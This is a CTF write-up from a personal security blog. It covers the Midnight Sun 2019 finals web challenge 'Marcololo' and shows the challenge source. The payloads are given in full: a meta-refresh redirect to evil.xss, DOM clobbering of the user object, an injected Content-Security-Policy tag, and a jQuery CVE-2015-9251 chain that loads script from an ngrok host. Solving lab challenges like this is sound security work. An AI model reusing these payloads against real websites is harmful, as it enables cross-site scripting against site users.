Midnight Sun CTF 2019 Finals Writeup: Marcololo
Mon Jun 17, 2019 · 3 min read

First I just want to say that it was a pleasure participating in the on site finals in Stockholm. The event was amazing! Thanks to hacking for soju for organizing such an amazing event!

<html><head>
    <meta charset="UTF-8">
    <link rel="stylesheet" href="/static/style.css">
    <meta property="og:title" content="marcoloco">
    <script src="https://code.jquery.com/jquery-2.2.4.min.js"></script>
    <script src="/api/getuser"></script>
<script>

if(user.name == "admin"){
  $.get(location.hash.slice(1));
}else{
  document.write("u are not admin, fak off");
}

</script></head>


<body></body></html>

This was the challenge source code. We had a XSS in the meta tag content through the input GET parameter. To get the flag we had to pop a alert(1).

Only < and > were filtered so this prevented us to break out of meta tag and enter a script tag.

I then though about redirects, maybe we can redirect the page to another domain and pop a alert there.

Payload: 0; url=http://evil.xss" http-equiv=“refresh

We successfully redirected to our evil domain with our xss. Submitted this in the payload validation.

Redirects to external domains were disabled unfortunately

Back to the drawing board…

Looking at the source code once again I needed to bypass these checks.

if(user.name == "admin"){
  $.get(location.hash.slice(1));
}else{
  document.write("u are not admin, fak off");
}

The user.name is fetched through the /api/getuser endpoint.

user = {"id":"-1", "name": "guest", "type": "guest"}

Let’s start with the first one. How can we bypass the if statement to get admin?

Through dom clobbering

Payload: " name="admin" id="user

This is now equivalent to:

user.name = admin

But our payload will be overwritten by the /api/getuser call and we won’t bypass the check.

We can change how external scripts are loaded with content security policies (CSP).

If we enter a CSP to allow everything except the /api/getuser endpoint and chain it together with the dom clobbering we get the following payload:

Payload:

default-src * 'unsafe-inline' 'unsafe-eval'; script-src 'unsafe-inline' 'unsafe-eval' https://code.jquery.com; connect-src * 'unsafe-inline'; img-src * data: blob: '    unsafe-inline'; frame-src *; style-src * 'unsafe-inline';" http-equiv="Content-Security-Policy" name="admin" id="user

We now pass the first check! Yay, now time for the second part.

We can place our payload after the # in the url. Since this is a string, we can’t do something like alert(1) as the browser will try to navigate to this page. Also chrome won’t allow the protocol to be changed to javascript.

How can we bypass this? Since the page is using an old version of jquery, we can use an old cve for jquery (CVE-2015-9251)

If we read the CVE details we see that $.get will execute arbitrary javascript code from a remote url if the content type is set to text/javascript. In nginx this is per default set to application/javascript. We can modify our nginx mime config to return the correct mime type for our payload to work.

/etc/nginx/mime.types

types {
...
8     text/javascript                       js;
...

Now let’s fire up ngrok so we can access our local nginx server from outside our local network.

All we have to do now is put our payload alert(1) in the nginx the /usr/share/nginx/html/index.js file.

./ngrok http 80

Appending the url to our payload: #7a1b9120d.ngrok.io/index.js

Final payload:

http://marcololo-01.play.midnightsunctf.se:3001/marcololo?input=default-src * 'unsafe-inline' 'unsafe-eval'; script-src 'unsafe-inline' 'unsafe-eval' https://code.jquery.com; connect-src * 'unsafe-inline'; img-src * data: blob: 'unsafe-inline'; frame-src *; style-src * 'unsafe-inline';" http-equiv="Content-Security-Policy" name="admin" id="user#http://7a1b120d.ngrok.io/index.js

Submitting the url to the payload submission form, we get the flag!

midnight{@lw4yz_cl0b_b3f0re_34t1ng_c0rn_0n_th3_c0b}

back · #root · A taste of security · Break it, fix it. · I'm Hugo